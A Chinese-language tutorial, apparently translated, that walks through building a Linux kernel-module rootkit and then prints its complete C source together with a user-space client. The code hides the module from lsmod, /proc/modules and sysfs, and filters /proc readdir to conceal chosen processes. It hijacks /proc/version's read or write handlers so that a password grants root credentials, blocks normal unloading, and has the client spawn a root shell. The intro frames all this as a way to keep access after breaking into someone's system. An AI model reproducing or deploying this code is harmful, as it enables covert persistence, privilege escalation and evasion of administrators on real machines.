在本文中,我将描述如何为 linux 编写一个简单的 rootkit。但是,要理解这篇文章,你必须知道如何编写linux 内核模块。

Linux与Rootkit的相爱相杀插图

什么是 rootkit

当您闯入某人的系统时,您可能希望在一段时间后能够“回到”那里。当您
在该系统中安装 rootkit 时,您将能够随时获得管理员权限。好的 rootkit 可以隐藏在受感染的系统中,
这样管理员就无法找到它们。有很多方法可以隐藏在系统中。我不会描述所有这些:slight_smile:

在本文中,我们只讨论 linux rootkit
有一些主要类型的 linuxrootkit
例如,有一些 rootkit 将系统中的一些最重要的程序(ls、ps、netstat 等)替换为它们的修改版本,
不会让管理员看到有什么问题。虽然,这样的 rootkit 很容易被检测到。
其他 rootkit 作为 linux 内核模块工作。他们在内核模式下工作,所以他们可以做任何他们想做的事情。他们可以隐藏自己、文件、
进程等。在本教程中,我们将讨论这种类型的 rootkit

Linux与Rootkit的相爱相杀插图2

请注意,它不是“真正的”rootkit
要使用它的功能,比如获得 root 权限,您必须对安装了 rootkit的系统具有本地访问权限。它可以是“普通”用户帐户,但您必须能够登录到该帐户。此外,当安装了 rootkit 的系统
重新启动时,我们的 rootkit 将被“卸载”,因为它在启动时没有加载。但是这篇文章并不是为了给脚本小子们提供
他们能够使用的真正的 rootkit。本文只需要教您编程 rootkit 的基础知识。

首先,我将大致描述这个 rootkit 是如何工作的,然后我会展示它的代码,最后我会详细描述它是如何工作的。
所以,让我们开始吧:

  1. 我将首先描述它将具有哪些功能。
    • 当用户向rootkit“发送”正确的命令时,他将获得root权限。
    • 另一个命令将让用户隐藏一个进程
    • 为了能够安全地卸载 rootkit(没有任何 Oops 或错误),它将具有使 rootkit 可见等功能。我将很快描述它们。
    • 另一个功能将让用户“取消隐藏”最后隐藏的进程。
  2. 让我们看看在加载 rootkit 时会调用哪些函数:
    • module_remember_info() – 这个函数保存一些关于 rootkit 的信息,以便以后卸载它。
    • proc_init() – 这是一个非常重要的函数,它可以“发送”命令到 rootkit
    • module_hide() – 在这个函数中我们隐藏了 rootkit
    • tidy() – 在这个函数中我们做了一些清理工作。如果我们不这样做,在卸载 rootkit 的过程中会出现一些错误。
    • rootkit_protect() – 这是一个非常简单的函数,即使它是可见的,它也无法通过“rmmod rootkit”命令卸载rootkit 。但是,如果内核 wa 编译时支持
      强制卸载模块,仍然可以通过“rmmod -f rootkit”卸载。
  3. 现在,我将详细描述这些功能:
  • proc_init():
    • 如前所述,此功能可以向 rootkit 发送命令。首先,我想在 proc 中创建一个条目,
      然后将其隐藏,这样就无法通过“readdir”系统调用找到它。但这不是一个好主意。
      通过浏览 proc 中的条目列表,仍然可以从内核模式找到 rootkit 。那么,我做了什么?rootkit 找到一个现有条目(例如 /proc/version)
      并用其他函数替换其现有函数(如 read_proc 和 write_proc)。命令通过写入或读取
      “受感染”条目发送到 rootkit。你可以问:“所以是通过阅读还是写作?或两者?”。这取决于感染了哪些功能的条目。
      如果它只有写功能,我们替换它。为什么不创建阅读功能?因为如果入口
      突然获得写作的功能,那将是可疑的。我们必须避免它 – 管理员无法检测到我们!如果entry只有读取功能,我们替换它。
      如果它同时具有读取和写入功能,我们只替换写入功能。
      那么,如何将命令传递给该条目?当写入功能被替换时,您只需写入该条目正确的命令。您可以
      使用 echo 或类似程序执行此操作。但是,如果您想获得 root 权限,您必须编写自己的程序来写入该条目,然后
      使用 execve syscall 运行 shell。
      如果读取功能被替换,您必须编写专门的程序。它有什么作用?它必须使用读取系统调用从该条目中读取。
      该函数的参数之一是指向必须写入数据的缓冲区的指针。要将命令传递给我们的条目,您必须将该命令保存
      在缓冲区中。然后,您将指向该缓冲区的指针作为读取系统调用的参数。
      稍后我将展示可用于将命令传递给 rootkit 的示例程序代码。
      让我们转到下一个功能。
  • rootkit_hide():
    • 在这个函数中,我们隐藏了 rootkit。第一个问题是 rootkit 由“lsmod”命令显示,并且在 /proc/modules 文件中可见。
      为了解决这个问题,我们可以从模块的主列表中删除我们的模块。每个模块都由模块结构表示。让我们看一下这个结构的定义:
struct module
{
        enum module_state state;

        /* Member of list of modules */
        struct list_head list;

        /* Unique handle for this module */
        char name[MODULE_NAME_LEN];

        /* Sysfs stuff. */
        struct module_kobject mkobj;
        struct module_attribute *modinfo_attrs;
        const char *version;
        const char *srcversion;
        struct kobject *holders_dir;

        /* Exported symbols */
        const struct kernel_symbol *syms;
        const unsigned long *crcs;
        unsigned int num_syms;

        /* Kernel parameters. */
        struct kernel_param *kp;
        unsigned int num_kp;

        /* GPL-only exported symbols. */
        unsigned int num_gpl_syms;
        const struct kernel_symbol *gpl_syms;
        const unsigned long *gpl_crcs;

#ifdef CONFIG_UNUSED_SYMBOLS
        /* unused exported symbols. */
        const struct kernel_symbol *unused_syms;
        const unsigned long *unused_crcs;
        unsigned int num_unused_syms;

        /* GPL-only, unused exported symbols. */
        unsigned int num_unused_gpl_syms;
        const struct kernel_symbol *unused_gpl_syms;
        const unsigned long *unused_gpl_crcs;
#endif

        /* symbols that will be GPL-only in the near future. */
        const struct kernel_symbol *gpl_future_syms;
        const unsigned long *gpl_future_crcs;
        unsigned int num_gpl_future_syms;

        /* Exception table */
        unsigned int num_exentries;
        struct exception_table_entry *extable;

        /* Startup function. */
        int (*init)(void);

        /* If this is non-NULL, vfree after init() returns */
        void *module_init;

        /* Here is the actual code + data, vfree'd on unload. */
        void *module_core;

        /* Here are the sizes of the init and core sections */
        unsigned int init_size, core_size;

        /* The size of the executable code in each section.  */
        unsigned int init_text_size, core_text_size;

        /* Arch-specific module values */
        struct mod_arch_specific arch;

        unsigned int taints;    /* same bits as kernel:tainted */

#ifdef CONFIG_GENERIC_BUG
        /* Support for BUG */
        unsigned num_bugs;
        struct list_head bug_list;
        struct bug_entry *bug_table;
#endif

#ifdef CONFIG_KALLSYMS
        /* We keep the symbol and string tables for kallsyms. */
        Elf_Sym *symtab;
        unsigned int num_symtab;
        char *strtab;

        /* Section attributes */
        struct module_sect_attrs *sect_attrs;

        /* Notes attributes */
        struct module_notes_attrs *notes_attrs;
#endif

        /* Per-cpu data. */
        void *percpu;

        /* The command line arguments (may be mangled).  People like
           keeping pointers to this stuff */
        char *args;
#ifdef CONFIG_MARKERS
        struct marker *markers;
        unsigned int num_markers;
#endif
#ifdef CONFIG_TRACEPOINTS
        struct tracepoint *tracepoints;
        unsigned int num_tracepoints;
#endif

#ifdef CONFIG_TRACING
        const char **trace_bprintk_fmt_start;
        unsigned int num_trace_bprintk_fmt;
#endif

#ifdef CONFIG_MODULE_UNLOAD
        /* What modules depend on me? */
        struct list_head modules_which_use_me;

        /* Who is waiting for us to be unloaded */
        struct task_struct *waiter;

        /* Destruction function. */
        void (*exit)(void);

#ifdef CONFIG_SMP
        char *refptr;
#else
        local_t ref;
#endif
#endif

struct list_head list – 这是模块的主要列表。我们必须从这个列表中删除我们的模块。
当我们这样做时,“lsmod”和“/proc/modules”中的rootkit将不再可见。但是我们的 rootkit 仍然在 /sys/module/ 目录中可见。/sys 也是特殊的文件系统(如 /proc)。
/sys 中的每个条目都由 kobject 结构表示。每个模块都有自己的 kobject。在 struct module 的定义中我们看到:
struct module_kobject mkobj
我们来看看 module_kobject 结构的定义:

struct module_kobject
{
        struct kobject kobj;
        struct module *mod;
        struct kobject *drivers_dir;
        struct module_param_attrs *mp;
};

对我们来说最重要的是

  • 结构 kobject kobj
  • kobj 代表我们在 /sys/module/ 目录中的模块。
    我们来看看定义os的kobject结构。
struct kobject {
        const char              *name;
        struct list_head        entry;
        struct kobject          *parent;
        struct kset             *kset;
        struct kobj_type        *ktype;
        struct sysfs_dirent     *sd;
        struct kref             kref;
        unsigned int state_initialized:1;
        unsigned int state_in_sysfs:1;
        unsigned int state_add_uevent_sent:1;
        unsigned int state_remove_uevent_sent:1;
        unsigned int uevent_suppress:1;
};

我们看:

struct list_head entry; 

这是 kobjects 的列表。首先,我们必须通过 kobject_del() 函数从 /sys/modules 中删除我们的模块,然后我们必须从“条目”列表中删除我们的 kobject。让我们谈谈下一个功能

Linux与Rootkit的相爱相杀插图3

tidy():

  • 当您分析内核在卸载模块期间执行的操作时,您会看到它删除了 /sys/module 中该模块的条目。
    但是有一个问题 – 我们删除了该条目。因此,当我们卸载模块时,内核将尝试删除不存在的条目。这将导致
    糟糕,并且系统可能会崩溃。我们必须避免它。但是您可以看到,当我们将一些指针设置为 NULL 时,内核不会尝试
    删除该条目。如果你想真正了解这个功能,你必须自己浏览linux内核的源代码。写
    关于加载和卸载模块的过程可能比你目前正在阅读的 7 篇这样的文章更大:眨眼:

rootkit_protect():

  • 很简单的功能。它只是调用 try_module_get 函数,将指向当前模块的指针作为参数。
    try_module_get 增加对模块的引用计数器。结果,模块无法通过正常的“rmmod”命令卸载。
    然而,如前所述,如果内核编译时支持强制模块卸载,模块仍然可以
    通过“rmmod -f”命令卸载。
  • 要从用户模式列出正在运行的进程,程序会列出 /proc 的内容。每个进程都有自己的目录。该目录的名称
    是该进程的 PID。请注意 proc_dir_entry 具有指向 file_operations 结构的指针。
    该结构定义了对文件的操作。在这种情况下进入 /proc。让我们看一下这个结构的定义:
struct file_operations {
        struct module *owner;
        loff_t (*llseek) (struct file *, loff_t, int);
        ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
        ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
        ssize_t (*aio_read) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
        ssize_t (*aio_write) (struct kiocb *, const struct iovec *, unsigned long, loff_t);
        int (*readdir) (struct file *, void *, filldir_t);
        unsigned int (*poll) (struct file *, struct poll_table_struct *);
        int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
        long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
        long (*compat_ioctl) (struct file *, unsigned int, unsigned long);
        int (*mmap) (struct file *, struct vm_area_struct *);
        int (*open) (struct inode *, struct file *);
        int (*flush) (struct file *, fl_owner_t id);
        int (*release) (struct inode *, struct file *);
        int (*fsync) (struct file *, struct dentry *, int datasync);
        int (*aio_fsync) (struct kiocb *, int datasync);
        int (*fasync) (int, struct file *, int);
        int (*lock) (struct file *, int, struct file_lock *);
        ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
        unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
        int (*check_flags)(int);
        int (*flock) (struct file *, int, struct file_lock *);
        ssize_t (*splice_write)(struct pipe_inode_info *, struct file *, loff_t *, size_t, unsigned int);
        ssize_t (*splice_read)(struct file *, loff_t *, struct pipe_inode_info *, size_t, unsigned int);
        int (*setlease)(struct file *, long, struct file_lock **);

对我们来说重要的字段是:read、write 和 readdir。

  • readdir 该函数用于列出目录的内容。我们如何隐藏一个进程?我们将隐藏进程的 pid 存储在“pid”缓冲区中。
    我们找到 /procproc_dir_entry。然后我们用我们自己的替换它在 file_operations 中的 readdir 函数。该函数通常会列出 /proc 的内容,但会省略代表隐藏进程的目录。readdir 函数是如何工作的?它只是遍历目录中的元素,但有一件有趣的事情。它不会直接在任何地方写入与目录内容相关的数据,而是使用 filldir 函数(作为参数给出)来执行此操作。filldir_t filldir – 这是指向 readdir 函数必须使用的 filldir 函数的指针。让我们看一下原型:
static int filldir(void * __buf, const char * name, int namlen, loff_t offset,
                   u64 ino, unsigned int d_type)

例如:

  • /proc 目录的 readdir 函数列出其内容。它贯穿所有元素。对于每个元素,它调用 filldir 作为“名称”参数,给出当前元素的名称。因此,如果程序列出 /proc 的内容以查看系统中运行的进程,并且使用 file_operations 结构中的 readdir 函数列出目录的内容,我们可以修改 /proc 的 readdir 使其不显示我们想要的进程隐藏!我们只是将 /proc 的 file_operations 结构中的“readdir”指针设置为我们的 readdir 版本。我们的 readdir 只是调用了原始的 readdir,但是它的“filldir”参数给了我们的 filldir 函数指针。我们的 filldir 是做什么的?它检查“name”参数是否等于隐藏进程之一的 pid。如果是,它只是不显示它。否则,它会调用原始的 filldir 函数。我要解释的另一件事与替换读写功能有关。有两种可能性可以“定义”在 /proc 中输入的读取和写入函数。您可以在 proc_read/proc_write 字段中指向您的函数,或者在条目的 file_operations 结构的读/写字段中指向您的函数。当我们感染条目时,我们将 proc_read/proc_write 指针设置为我们的函数,如果它最初被设置,我们设置 file_operations 的读/写字段,如果它被设置。如何将用户权限更改为root权限?我们必须将当前进程的uid、euid、gid和egid改为0。每个进程由task_struct结构体表示。这是一个相当复杂的结构,我不会在这里展示它的定义。uid、gid 和其他类似的“事物”存储在作为 task_struct 元素的 cred 结构中。要更改此字段的值,我们必须调用 prepare_creds() 函数,该函数返回指向结构 cred 的指针,其中 uid、gid 等设置为等于当前进程的 cred 结构中的 uid、gid 等值的值。然后,我们可以修改这个结构的所有字段。最后我们调用 commit_creds() 函数,将指针指向我们的结构 cred 作为参数。我们如何找到必须被感染的条目?/proc 中的条目以列表的形式组织 – proc_dir_entry 具有字段“next”,它是指向当前目录中下一个条目的指针。/proc 中的每个目录都有“subdir”字段,它是指向该目录中第一个条目的指针。
  • 那么我们如何定位我们想要感染的入口呢?首先,我们将指针设置为 /proc 目录。让我们将此指针命名为“ptr”。然后我们将其设置为 ptr->subdir。之后,我们将 ptr 指向的条目名称与我们要感染的条目名称进行比较。如果相等,我们就找到了我们的条目。否则,我们转到 ptr->next 并将其名称与感染等条目进行比较。所有命令和其他重要的东西都在 rootkit_conf.conf.h 配置文件中配置。
  • 是时候展示我们的rootkit的代码了。如果我还没有解释什么,我会将其描述为代码中的注释。
  • 首先,rootkit_conf.conf.h。
    配置文件!
static char password[] = "secretpassword" ; //give here password
static char passwaiter[] = "version" ; //here is name of entry to infect in /proc - you pass commands to it 
static char module_release[] = "release" ; //command to release the module(make possible to unload it)
static char module_uncover[] = "uncover" ; //command to show the module
static char hide_proc[] = "hide" ; //command to hide specified process
static char unhide_proc[] = "unhide"; //command to "unhide" last hidden process

rootkit.c:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/string.h>
#include <linux/cred.h>
#include <linux/stat.h>
#include <linux/uaccess.h>
#include <linux/file.h>

#include "rootkit_conf.conf.h"

MODULE_LICENSE("GPL") ;
MODULE_AUTHOR("Ormi<ormi.ormi@gmail.com>") ;
MODULE_DESCRIPTION("Simple rootkit using procfs") ;
MODULE_VERSION("0.1.2");

static int failed;
static char pid[10][32];
static int pid_index;

/* Here are pointers in which we save original, replaced pointers. We use them later, during unloading the module.
I think that their names explain what they are ;) */
static int (*old_proc_readdir)(struct file *, void *, filldir_t);
static filldir_t old_filldir ;
static ssize_t (*old_fops_write) (struct file *, const char __user *,
size_t, loff_t *);
static ssize_t (*old_fops_read)(struct file *, char __user *, size_t, loff_t *);
static write_proc_t *old_write;
static read_proc_t *old_read;

static struct proc_dir_entry *ptr; /* Pointer to "infected" entry */
static struct proc_dir_entry *root; /* Pointer to /proc directory */
static struct list_head *prev; /* Pointer to entry in main modules list which was before our module before we hid the rootkit */

static struct file_operations *fops; /* file_operations of infected entry */
static struct file_operations *root_fops; /* file_operations of /proc directory */

static inline void module_remember_info(void)
{
	prev = THIS_MODULE->list.prev;
}

static inline void module_show(void)
{
	list_add(&THIS_MODULE->list, prev); /* We add our module to main list of modules */
}

/* Parameter of this function is pointer to buffer in which there should be command */
static int check_buf(const char __user *buf)
{
	/* Here we give root privileges */
	struct cred *new = prepare_creds();
	if (!strcmp(buf, password)) {
		new->uid = new->euid = 0;
		new->gid = new->egid = 0;
		commit_creds(new);
	}

	/* Here we make possible to unload the module by "rmmod" */
	else if (!strcmp(buf, module_release))
		module_put(THIS_MODULE);
	/* Here we make module visible */
	else if (!strcmp(buf, module_uncover))
		module_show();
	/* We hide process */
	else if (!strncmp(buf, hide_proc, strlen(hide_proc))) {
		if (pid_index > 9)
			return 0;
		sprintf(pid[pid_index], "%s", buf + 5);
		pid_index++;
	}
	/* We "unhide" lastly hidden process */
	else if (!strncmp(buf, unhide_proc, strlen(unhide_proc))) {
		if (!pid_index)
			return 0;
		pid_index--;
	}
	/* If we are here, there was no command passed */
	else
		return 1;
	return 0;
}

/* Our "write" function */
static int buf_write(struct file *file, const char __user *buf,
unsigned long count, void *data)
{
	/* If check_buf return 0, there was command passed */	
	if (!check_buf(buf))
		return count;
	/* Otherwise we execute original function */
	return old_write(file, buf, count, data);
}

/* Our "read" function  for read_proc field*/
static int buf_read(char __user *buf, char **start, off_t off,
int count, int *eof, void *data)
{
	if (!check_buf(buf))
		return count;
	return old_read(buf, start, off, count, eof, data);
}

/* For file_operations structure */
static ssize_t fops_write(struct file *file, const char __user *buf_user,
size_t count, loff_t *p)
{
	if (!check_buf(buf_user))
		return count;
	return old_fops_write(file, buf_user, count, p);
}

/* For file_operations structure */
static ssize_t fops_read(struct file *file, char __user *buf_user,
size_t count, loff_t *p)
{
	if (!check_buf(buf_user))
		return count;
	return old_fops_read(file, buf_user, count, p);
}

/* Our filldir function */
static int new_filldir(void *__buf, const char *name, int namelen,
loff_t offset, u64 ino, unsigned d_type)
{
	int i;
	/* We check if "name" is pid of one of hidden processes */
	for (i = 0; i < pid_index; i++)
		if (!strcmp(name, pid[i]))
			return 0; /* If yes, we don't display it */
	/* Otherwise we invoke original filldir */
	return old_filldir(__buf, name, namelen, offset, ino, d_type);
}

/* Our readdir function */
static int new_proc_readdir(struct file *filp, void *dirent, filldir_t filldir)
{
	/* To invoke original filldir in new_filldir we have to remeber pointer to original filldir */	
	old_filldir = filldir;
	/* We invoke original readdir, but as "filldir" parameter we give pointer to our filldir */
	return old_proc_readdir(filp, dirent, new_filldir) ;
}

/* Here we replace readdir function of /proc */
static inline void change_proc_root_readdir(void)
{
	root_fops = (struct file_operations *)root->proc_fops;
	old_proc_readdir = root_fops->readdir;
	root_fops->readdir = new_proc_readdir;
}

static inline void proc_init(void)
{

	ptr = create_proc_entry("temporary", 0444, NULL);
	ptr = ptr->parent;
	/* ptr->parent was pointer to /proc directory */
	/* If it wasn't, something is seriously wrong */
	if (strcmp(ptr->name, "/proc") != 0) {
		failed = 1;
		return;
	}
	root = ptr;
	remove_proc_entry("temporary", NULL);
	change_proc_root_readdir(); /* We change /proc's readdir function */
	ptr = ptr->subdir;
	/* Now we are searching entry we want to infect */
	while (ptr) {
		if (strcmp(ptr->name, passwaiter) == 0)
			goto found; /* Ok, we found it */
		ptr = ptr->next; /* Otherwise we go to next entry */ 
	}
	/* If we didn't find it, something is wrong :( */
	failed = 1;
	return;
found:
	/* Let's begin infecting */
	/* We save pointers to original reading and writing functions, to restore them during unloading the rootkit */
	old_write = ptr->write_proc;
	old_read = ptr->read_proc;

	fops = (struct file_operations *)ptr->proc_fops; /* Pointer to file_operations structure of infected entry */
	old_fops_read = fops->read;
	old_fops_write = fops->write;

	/* We replace write_proc/read_proc */
	if (ptr->write_proc)
		ptr->write_proc = buf_write;
	else if (ptr->read_proc)
		ptr->read_proc = buf_read;
	/* We replace read/write from file_operations */
	if (fops->write)
		fops->write = fops_write;
	else if (fops->read)
		fops->read = fops_read;

	/* There aren't any reading/writing functions? Error! */
	if (!ptr->read_proc && !ptr->write_proc &&
	!fops->read && !fops->write) {
		failed = 1;
		return;
	}
}

/* This functions does some "cleanups". If we don't set some pointers tu NULL,
   we can cause Oops during unloading rootkit. We free some structures,
   because we don't want to waste memory... */
static inline void tidy(void)
{
	kfree(THIS_MODULE->notes_attrs);
	THIS_MODULE->notes_attrs = NULL;
	kfree(THIS_MODULE->sect_attrs);
	THIS_MODULE->sect_attrs = NULL;
	kfree(THIS_MODULE->mkobj.mp);
	THIS_MODULE->mkobj.mp = NULL;
	THIS_MODULE->modinfo_attrs->attr.name = NULL;
	kfree(THIS_MODULE->mkobj.drivers_dir);
	THIS_MODULE->mkobj.drivers_dir = NULL;
}

/*
We must delete some structures from lists to make rootkit harder to detect.
*/
static inline void rootkit_hide(void)
{
	list_del(&THIS_MODULE->list);
	kobject_del(&THIS_MODULE->mkobj.kobj);
	list_del(&THIS_MODULE->mkobj.kobj.entry);
}

static inline void rootkit_protect(void)
{
	try_module_get(THIS_MODULE);
}

static int __init rootkit_init(void)
{
	module_remember_info();
	proc_init();
	if (failed)
		return 0;
	rootkit_hide();
	tidy();
	rootkit_protect();

	return 0 ;

}

static void __exit rootkit_exit(void)
{
	/* If failed, we don't have to do any cleanups */	
	if (failed)
		return;
	root_fops->readdir = old_proc_readdir;
	fops->write = old_fops_write;
	fops->read = old_fops_read;
	ptr->write_proc = old_write;
	ptr->read_proc = old_read;
}

module_init(rootkit_init);
module_exit(rootkit_exit);

看一下向我们的条目发送命令的示例程序:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>

#include "rootkit_conf.conf.h"

char file[64];
char command[64];
int root = 0;

int main(int argc, char *argv[]) {
	if(argc < 2) {
		fprintf(stderr, "Usage: %s <command>\n", argv[0]);
		return 1;
	}
	int fd ;
	/* We get path to infected entry */
	sprintf(file, "/proc/%s", passwaiter);
	/* If sent command is equal to command which has to give us root, we must run shell at the end */
	if(!strcmp(argv[1], password))
		root = 1;
	/* At first we try to write command to that entry */
	fd = open(file, O_WRONLY) ;
	if(fd < 1) {
		printf("Opening for writing failed! Trying to open for reading!\n");
		/* Otherwise, we send command by reading */	
		fd = open(file, O_RDONLY);
		if(!fd) {
			perror("open");
			return 1;
		}
		read(fd, argv[1], strlen(argv[1]));
	}
	else 
		write(fd, argv[1], strlen(argv[1]));
end:
	close(fd) ;
	printf("[+] I did it!\n") ;
	/* if we have to get root, we run shell */
	if(root) {
		uid_t uid = getuid() ;
		printf("[+] Success! uid=%i\n", uid) ;
		setuid(0) ;
		setgid(0) ;
		execl("/bin/bash", "bash", 0) ;
	}
	return 0;
}

您可以问“为什么 rootkit 中的所有内容都被定义为“静态”?因为定义为静态的东西不会导出到 /proc/kallsyms。它使 rootkit 更难被检测到。